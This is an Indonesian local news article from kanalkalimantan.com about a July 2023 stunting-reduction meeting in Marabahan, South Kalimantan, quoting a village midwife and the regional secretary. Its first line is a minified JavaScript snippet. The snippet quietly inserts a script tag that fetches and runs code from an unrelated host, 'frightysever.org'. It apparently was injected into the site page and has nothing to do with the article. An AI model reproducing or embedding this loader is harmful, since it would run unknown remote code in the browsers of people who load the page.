(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARABAHAN- Saomy Amareta, seorang bidan di Desa Antarjaya, Kecamatan Marabahan, Kabupaten Barito Kuala (Batola), Provinsi Kalimantan Selatan (Kalsel), memiliki tekad kuat untuk melakukan pendataan ulang terhadap bayi dan balita di daerahnya. Upaya ini dilakukan setelah ditemukan kasus stunting pada bayi dan balita di lima lokasi fokus.
“Kami akan melakukan pendataan ulang dan penimbangan berat badan dengan cara yang menarik minat bayi dan balita,” ujar Saomy Amareta pada Kamis, 6 Juli 2023.
Dia merupakan salah satu peserta dalam acara rembuk stunting yang diadakan di Aula Kantor Kecamatan Marabahan.
Selama acara, materi disampaikan oleh Ketua Satgas Tim Percepatan Penurunan Stunting (TPPS) Batola, Zulkipli Yadi Noor, dan dihadiri oleh berbagai pemangku kepentingan dari berbagai instansi, termasuk Polsek, Koramil, Puskesmas, petugas sosial, serta perangkat desa se-Kecamatan Marabahan.
Zulkipli Yadi Noor, yang juga menjabat sebagai Sekretaris Daerah Kabupaten Barito Kuala, menjelaskan bahwa rembuk stunting merupakan langkah penting untuk membangun komitmen bersama dalam upaya penurunan stunting di daerah tersebut.
“Tindak lanjut dari rembuk stunting ini akan dilakukan di tingkat kecamatan dan desa. Semua pemangku kepentingan di Kecamatan Marabahan sepakat dengan rencana aksi yang telah disusun,” katanya.
Zulkipli Yadi Noor merasa senang dengan hasil rembuk stunting di Kecamatan Marabahan, karena hal ini sangat diperlukan dalam rangka menurunkan angka stunting di Kabupaten Batola.
Dalam acara tersebut, peserta rembuk stunting memberikan hadiah ulang tahun ke-57 kepada Zulkipli Yadi Noor, berupa kue. Kue tersebut dipotong dan diserahkan kepada Camat Marabahan, Eko Purnama Sakti, yang juga merupakan anggota Tim Percepatan Penurunan Stunting di tingkat kecamatan.
“Saya berharap dapat menyelesaikan tugas dengan baik di usia saya saat ini,” harap Zulkipli Yadi Noor.(www.kanalkalimantan.com/kk)
Reporter : kk
Editor : rdy
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.